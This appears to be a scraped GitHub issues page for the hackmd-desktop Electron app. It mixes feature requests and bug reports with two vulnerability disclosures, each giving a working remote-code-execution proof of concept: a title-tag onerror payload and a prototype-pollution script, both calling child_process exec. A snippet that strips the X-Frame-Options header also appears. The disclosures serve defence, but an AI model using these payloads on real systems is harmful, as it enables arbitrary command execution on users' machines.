The hackmd-desktop from hackmdio

So my workflow is to switch to the pdf viewer to change page and come back to hackmd. The issue here is that when the program regains focus it doesn't enter in edit mode or command mode (I'm using the vi layout). I have to click the window with the mouse so I can start using again the vi bindings.

If you use a tiling window manager (such as i3wm) it's a real bummer to have to reach the mouse just for that.

Is there any easy way to fix this?

Thank you!

Update project status

hackmd-desktop remote code execution

Hi, I find a RCE in hackmd-desktop when viewing a evil note.

In renderer.js

webview.addEventListener('dom-ready', function () {
    // set webview title
    document.querySelector('#navbar-container .title').innerHTML = webview.getTitle()
    document.querySelector('title').innerHTML = webview.getTitle()
})

It will render the title of the webview in a privileged context.

If we use tag or a XSS(hackmdio/codimd#1233) to redirect to a evil page with a payload in title like this.

<head>
  <title><img src=1 onerror="process.mainModule.require('child_process').exec('open /Applications/Calculator.app')"></title>
</head>

It will execute the command in the payload and a calculator will pop up.

Portable Application in PortableApps Format for Windows

Hello,
Could you create a portable version for Windows based on @PortableApps format?
PortableApps is one of the best application suites for Windows out there.
It will be great for Windows users.

@2wayne, Any chance for assistance with that?

Thank You.

hackmd desktop remote code execution

hackmd desktop use an old version of electron, in which we can use prototype pollution to get node ability back in webviews without nodeintegration.

poc:

<a href="http://127.0.0.1/gg.html">click me</a>

here is source code of gg.html

<script>
Function.prototype.call2=Function.prototype.call;
Function.prototype.call=function(...args){
    if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
        Function.prototype.call=Function.prototype.call2;
        args[0].mainModule.require('child_process').exec('open -a Calculator');
        }
        return this.call2(...args)
}
location.reload();
</script>

when click on it we can get a Calculator on mac.

suggestions:

open external links in system's browser
update electron
add contextisolation.

Cannot click when the application is not in full-screen on sign-in page

Description
- After installing HackMD desktop, I tried to open it and sign in with my GitHub account
- The input cannot be clicked so that I cannot type my account
- However, it can be worked when I turn the application into full-screen mode

Embedded HackMD server

It would be great to have an embedded HackMD server included so that we can edit offline/in our own sandbox, without needing to manually manage a HackMD server.

Workaround for X-Frame-Options header

from electron/electron#573 (comment)

  mainWindow.webContents.session.webRequest.onHeadersReceived({}, (d, c) => {
    if(d.responseHeaders['x-frame-options'] || d.responseHeaders['X-Frame-Options']){
        delete d.responseHeaders['x-frame-options'];
        delete d.responseHeaders['X-Frame-Options'];
    }
    c({cancel: false, responseHeaders: d.responseHeaders});
  });

mac os 10.15.7

Support for loading and saving local files.

Sweet, I'm really excited about this, hackmd is my favorite editor.

Being able to load and edit local files would be my most desired feature for this.

hackmdio / hackmd-desktop Goto Github PK

hackmd-desktop's People

Contributors

Stargazers

Watchers

Forkers

hackmd-desktop's Issues

TODOs

Other Ideas

Packages to try

Production checklist

Recommend Projects

Recommend Topics

Recommend Org